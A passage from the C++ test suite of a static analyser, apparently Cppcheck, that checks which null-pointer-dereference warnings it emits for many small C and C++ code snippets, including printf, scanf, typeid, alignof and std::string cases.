foo(char *p) {\\n\"\n \" if (p) {\\n\"\n \" }\\n\"\n \" strcpy(p, \\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:12]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (p) {\\n\"\n \" }\\n\"\n \" bar();\\n\"\n \" strcpy(p, \\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:5:12]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(abc *p) {\\n\"\n \" if (!p) {\\n\"\n \" }\\n\"\n \" else { if (!p->x) {\\n\"\n \" } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n static const char code[] =\n \"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\";\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" (*bail)();\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" throw x;\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" ab.abort();\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" }\\n\"\n \" return *x;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int *p) {\\n\"\n \" if (!p) {\\n\"\n \" x = *p;\\n\"\n \" return 5+*p;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:14]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:9] -> [test.cpp:4:19]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // operator!\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" if (!a) {\\n\"\n \" a.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // This is why this check can't be used on the simplified token list\n check(\"void f(Foo *foo) {\\n\"\n \" if (!dynamic_cast(foo)) {\\n\"\n \" *foo = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket: #2300 - calling unknown function that may initialize the pointer\n check(\"Fred *fred;\\n\"\n \"void a() {\\n\"\n \" if (!fred) {\\n\"\n \" initfred();\\n\"\n \" fred->x = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1219\n check(\"void foo(char *p) {\\n\"\n \" if (p) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:5:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // #2467 - unknown macro may terminate the application\n check(\"void f(Fred *fred) {\\n\"\n \" if (fred == NULL) {\\n\"\n \" MACRO;\\n\"\n \" }\\n\"\n \" fred->a();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2493 - switch\n check(\"void f(Fred *fred) {\\n\"\n \" if (fred == NULL) {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" switch (x) {\\n\"\n \" case 1:\\n\"\n \" fred->a();\\n\"\n \" break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4118 - second if\n check(\"void f(char *p) {\\n\"\n \" int x = 1;\\n\"\n \" if (!p) x = 0;\\n\"\n \" if (x) *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2674 - different functions\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Wilma *wilma;\\n\"\n \" void a();\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::a() {\\n\"\n \" if ( wilma ) { }\\n\"\n \"}\\n\"\n \"\\n\"\n \"void Fred::b() {\\n\"\n \" wilma->Reload();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int *i) {\\n\"\n \" if(i == NULL) { }\\n\"\n \" else {\\n\"\n \" int b = *i;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2696 - false positives nr 1\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct foo *pFoo = NULL;\\n\"\n \" size_t len;\\n\"\n \"\\n\"\n \" len = sizeof(*pFoo) - sizeof(pFoo->data);\\n\"\n \"\\n\"\n \" if (pFoo)\\n\"\n \" bar();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2696 - false positives nr 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct foo *pFoo = NULL;\\n\"\n \" size_t len;\\n\"\n \"\\n\"\n \" while (pFoo)\\n\"\n \" pFoo = pFoo->next;\\n\"\n \"\\n\"\n \" len = sizeof(pFoo->data);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2696 - false positives nr 3\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct foo *pFoo = NULL;\\n\"\n \" size_t len;\\n\"\n \"\\n\"\n \" while (pFoo)\\n\"\n \" pFoo = pFoo->next;\\n\"\n \"\\n\"\n \" len = decltype(*pFoo);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(struct Fred *fred) {\\n\"\n \" if (fred) { }\\n\"\n \" return fred->a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Either the condition 'fred' is redundant or there is possible null pointer dereference: fred. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // #2789 - assign and check pointer\n check(\"void f() {\\n\"\n \" char *p; p = x();\\n\"\n \" if (!p) { }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:4:6]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // check, assign and use\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" if (p == 0 && (p = malloc(10)) != 0) {\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check, assign and use\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" if (p == 0 && (p = malloc(10)) != a && (*p = a)) {\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check, and use\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" if (p == 0 && (*p = 0)) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:3:21]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // check, and use\n check(\"void f() {\\n\"\n \" struct foo *p;\\n\"\n \" if (p == 0 && p->x == 10) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:3:19]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // check, and use\n check(\"void f() {\\n\"\n \" struct foo *p;\\n\"\n \" if (p == 0 || p->x == 10) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check, and use\n check(\"void f() {\\n\"\n \" char *p; p = malloc(10);\\n\"\n \" if (p == NULL && (*p = a)) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:3:24]: (warning) Either the condition 'p==NULL' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // check, and use\n check(\"void f(struct X *p, int x) {\\n\"\n \" if (!p && x==1 || p && p->x==0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void f(Fred *fred) {\\n\"\n \" if (fred == NULL) { }\\n\"\n \" fred->x();\\n\"\n \"}\";\n\n check(code); // inconclusive\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:5]: (warning) Either the condition 'fred==NULL' is redundant or there is possible null pointer dereference: fred. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n check(\"void f(char *s) {\\n\" // #3358\n \" if (s==0);\\n\"\n \" strcpy(a, s?b:c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // sizeof\n check(\"void f(struct fred_t *fred) {\\n\"\n \" if (!fred)\\n\"\n \" int sz = sizeof(fred->x);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // check in macro\n check(\"void f(int *x) {\\n\"\n \" $if (!x) {}\\n\"\n \" *x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return ?:\n check(\"int f(ABC *p) {\\n\" // FP : return ?:\n \" if (!p) {}\\n\"\n \" return p ? p->x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f(ABC *p) {\\n\" // no fn\n \" if (!p) {}\\n\"\n \" return q ? p->x : 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p.\\n\", \"\", errout_str());\n\n check(\"int f(ABC *p) {\\n\" // FP : return &&\n \" if (!p) {}\\n\"\n \" return p && p->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int *p) {\\n\"\n \" if (x || !p) {}\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:6]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // sizeof\n check(\"void f() {\\n\"\n \" int *pointer = NULL;\\n\"\n \" pointer = func(sizeof pointer[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Test CheckNullPointer::nullConstantDereference\n void nullConstantDereference() {\n check(\"int f() {\\n\"\n \" int* p = 0;\\n\"\n \" return p[4];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" typeof(*NULL) y;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f() {\\n\"\n \" return NULL;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" return *f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Null pointer dereference: f() [nullPointer]\\n\", errout_str());\n }\n\n void gcc_statement_expression() {\n // Ticket #2621\n check(\"void f(struct ABC *abc) {\\n\"\n \" ({ if (abc) dbg(); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void snprintf_with_zero_size() {\n // Ticket #2840\n check(\"void f() {\\n\"\n \" int bytes = snprintf(0, 0, \\\"%u\\\", 1);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void snprintf_with_non_zero_size() {\n // Ticket #2840\n check(\"void f() {\\n\"\n \" int bytes = snprintf(0, 10, \\\"%u\\\", 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n }\n\n void printf_with_invalid_va_argument() {\n check(\"void f() {\\n\"\n \" printf(\\\"%s\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"%s\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* s = 0;\\n\"\n \" printf(\\\"%s\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:18]: (error) Null pointer dereference: s [nullPointer]\\n\"\n \"[test.cpp:3:18]: (error) Null pointer dereference [nullPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char *s = 0;\\n\"\n \" printf(\\\"%s\\\", s == 0 ? a : s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" printf(\\\"%u%s\\\", 0, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"%u%s\\\", 0, s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* s = 0;\\n\"\n \" printf(\\\"%u%s\\\", 123, s);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:25]: (error) Null pointer dereference: s [nullPointer]\\n\"\n \"[test.cpp:3:25]: (error) Null pointer dereference [nullPointer]\\n\",\n errout_str());\n\n\n check(\"void f() {\\n\"\n \" printf(\\\"%%%s%%\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"text: %s, %s\\\", s, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" char* s = \\\"blabla\\\";\\n\"\n \" printf(\\\"%s\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"text: %m%s, %s\\\", s, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"text: %*s, %s\\\", s, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n // Ticket #3364\n check(\"void f() {\\n\"\n \" printf(\\\"%-*.*s\\\", s, 0);\\n\"\n \" sprintf(\\\"%*\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void scanf_with_invalid_va_argument() {\n check(\"void f(char* s) {\\n\"\n \" sscanf(s, \\\"%s\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:21]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:2:21]: (error) Null pointer dereference [nullPointer]\\n\", // duplicate\n errout_str());\n\n check(\"void f() {\\n\"\n \" scanf(\\\"%d\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:2:17]: (error) Null pointer dereference [nullPointer]\\n\", // duplicate\n errout_str());\n\n check(\"void f(char* foo) {\\n\"\n \" char location[200];\\n\"\n \" int width, height;\\n\"\n \" sscanf(imgInfo, \\\"%s %d %d\\\", location, &width, &height);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // ticket #3207\n\n check(\"void f(char *dummy) {\\n\"\n \" int iVal;\\n\"\n \" sscanf(dummy, \\\"%d%c\\\", &iVal);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // ticket #3211\n\n check(\"void f(char *dummy) {\\n\"\n \" int* iVal = 0;\\n\"\n \" sscanf(dummy, \\\"%d\\\", iVal);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:25]: (error) Null pointer dereference: iVal [nullPointer]\\n\"\n \"[test.cpp:3:25]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:3:25]: (error) Null pointer dereference [nullPointer]\\n\", // duplicate\n errout_str());\n\n check(\"void f(char *dummy) {\\n\"\n \" int* iVal;\\n\"\n \" sscanf(dummy, \\\"%d\\\", foo(iVal));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *dummy) {\\n\"\n \" int* iVal = 0;\\n\"\n \" sscanf(dummy, \\\"%d%d\\\", foo(iVal), iVal);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* dummy) {\\n\"\n \" sscanf(dummy, \\\"%*d%u\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:28]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:2:28]: (error) Null pointer dereference [nullPointer]\\n\", // duplicate\n errout_str());\n }\n\n void nullpointer_in_return() {\n // extracttests.start: int maybe(); int *g();\n check(\"int foo() {\\n\"\n \" int* iVal = 0;\\n\"\n \" if(maybe()) iVal = g();\\n\"\n \" return iVal[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Possible null pointer dereference: iVal [nullPointer]\\n\", errout_str());\n\n check(\"int foo(int* iVal) {\\n\"\n \" return iVal[0];\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_in_typeid() {\n // Should throw std::bad_typeid\n check(\"struct PolymorphicA { virtual ~A() {} };\\n\"\n \"bool foo() {\\n\"\n \" PolymorphicA* a = 0;\\n\"\n \" return typeid(*a) == typeid(*a);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct NonPolymorphicA { ~A() {} };\\n\"\n \"bool foo() {\\n\"\n \" NonPolymorphicA* a = 0;\\n\"\n \" return typeid(*a) == typeid(*a);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" char* c = 0;\\n\"\n \" return typeid(*c) == typeid(*c);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_in_alignof() // #11401\n {\n check(\"size_t foo() {\\n\"\n \" char* c = 0;\\n\"\n \" return alignof(*c);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" return alignof(*0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) {\\n\"\n \" f(alignof(*p));\\n\"\n \" if (p) {}\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" char* c = 0;\\n\"\n \" return _Alignof(*c);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" return _alignof(*0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" return __alignof(*0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" return __alignof__(*0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_in_for_loop() {\n // Ticket #3278\n check(\"void f(int* ptr, int cnt){\\n\"\n \" if (!ptr)\\n\"\n \" cnt = 0;\\n\"\n \" for (int i = 0; i < cnt; ++i)\\n\"\n \" *ptr++ = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11635\n check(\"void f(char *cons, int rlen, int pos) {\\n\"\n \" int i;\\n\"\n \" char* cp1;\\n\"\n \" for (cp1 = &cons[pos], i = 1; i < rlen; cp1--)\\n\"\n \" if (*cp1 == '*')\\n\"\n \" continue;\\n\"\n \" else\\n\"\n \" i++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerDeadCode() {\n // Ticket #11311\n check (\"void f() {\\n\"\n \" if (0)\\n\"\n \" *(int *)0 = 1;\\n\"\n \" else\\n\"\n \" ;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check (\"void f() {\\n\"\n \" if (0)\\n\"\n \" *(int *)0 = 1;\\n\"\n \" else {\\n\"\n \" if (0)\\n\"\n \" *(int *)0 = 2;\\n\"\n \" else\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check (\"void f() {\\n\"\n \" while(0)\\n\"\n \" *(int*)0 = 1;\\n\"\n \" do {\\n\"\n \" } while(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check (\"int f() {\\n\"\n \" return 0 ? *(int*)0 = 1 : 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check (\"int f() {\\n\"\n \" return 1 ? 1 : *(int*)0 = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerDelete() {\n check(\"void f() {\\n\"\n \" K *k = getK();\\n\"\n \" if (k)\\n\"\n \" k->doStuff();\\n\"\n \" delete k;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" K *k = getK();\\n\"\n \" if (k)\\n\"\n \" k[0] = ptr;\\n\"\n \" delete [] k;\\n\"\n \" k = new K[10];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerSubFunction() {\n check(\"void g(int* x) { *x; }\\n\"\n \"void f(int* x) {\\n\"\n \" if (x)\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerExit() {\n check(\"void f() {\\n\"\n \" K *k = getK();\\n\"\n \" if (!k)\\n\"\n \" exit(1);\\n\"\n \" k->f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerStdString() {\n check(\"void f(std::string s1) {\\n\"\n \" void* p = 0;\\n\"\n \" s1 = 0;\\n\"\n \" s1 = '\\\\0';\\n\"\n \" std::string s2 = 0;\\n\"\n \" std::string s2 = '\\\\0';\\n\"\n \" std::string s3(0);\\n\"\n \" foo(std::string(0));\\n\"\n \" s1 = p;\\n\"\n \" std::string s4 = p;\\n\"\n \" std::string s5(p);\\n\"\n \" foo(std::string(p));\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:9:10]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:10:22]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:11:20]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:12:21]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:3:10]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:5:22]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:7:17]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:8:9]: (error) Null pointer dereference [nullPointer]\\n\"\n , errout_str());\n\n check(\"void f(std::string s1) {\\n\"\n \" s1 = nullptr;\\n\"\n \" std::string s2 = nullptr;\\n\"\n \" std::string s3(nullptr);\\n\"\n \" foo(std::string(nullptr));\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:3:22]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:4:17]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:5:9]: (error) Null pointer dereference [nullPointer]\\n\"\n , errout_str());\n\n check(\"void f(std::string s1) {\\n\"\n \" s1 = NULL;\\n\"\n \" std::string s2 = NULL;\\n\"\n \" std::string s3(NULL);\\n\"\n \" foo(std::string(NULL));\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:3:22]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:4:17]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:5:9]: (error) Null pointer dereference [nullPointer]\\n\"\n , errout_str());\n\n check(\"void f(std::string s1, const std::string& s2, const std::string* s3) {\\n\"\n \" void* p = 0;\\n\"\n \" if (x) { return; }\\n\"\n \" foo(s1 == p);\\n\"\n \" foo(s2 == p);\\n\"\n \" foo(s3 == p);\\n\"\n \" foo(p == s1);\\n\"\n \" foo(p == s2);\\n\"\n \" foo(p == s3);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:5:15]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:7:9]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:8:9]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"void f(std::string s1, const std::string& s2, const std::string* s3) {\\n\"\n \" void* p = 0;\\n\"\n \" if (x) { return; }\\n\"\n \" foo(0 == s1.size());\\n\"\n \" foo(0 == s2.size());\\n\"\n \" foo(0 == s3->size());\\n\"\n \" foo(s1.size() == 0);\\n\"\n \" foo(s2.size() == 0);\\n\"\n \" foo(s3->size() == 0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s1, const std::string& s2) {\\n\"\n \" if (x) { return; }\\n\"\n \" foo(0 == s1[0]);\\n\"\n \" foo(0 == s2[0]);\\n\"\n \" foo(s1[0] == 0);\\n\"\n \" foo(s2[0] == 0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s1, const std::string& s2) {\\n\"\n \" if (x) { return; }\\n\"\n \" foo(s1 == '\\\\0');\\n\"\n \" foo(s2 == '\\\\0');\\n\"\n \" foo('\\\\0' == s1);\\n\"\n \" foo('\\\\0' == s2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Bar {\\n\"\n \" std::string s;\\n\"\n \" Bar() : s(0) {}\\n\"\n \"};\\n\"\n \"class Foo {\\n\"\n \" std::string s;\\n\"\n \" Foo();\\n\"\n \"};\\n\"\n \"Foo::Foo() : s(0) {}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:9:14]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string s = 0 == x ? \\\"a\\\" : \\\"b\\\";\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string s = g();\\n\"\n \" ASSERT_MESSAGE(\\\"Error on s\\\", 0 == s.compare(\\\"Some text\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i, std::string s);\\n\"\n \"void bar() {\\n\"\n \" foo(0, \\\"\\\");\\n\"\n \" foo(0, 0);\\n\"\n \" foo(var, 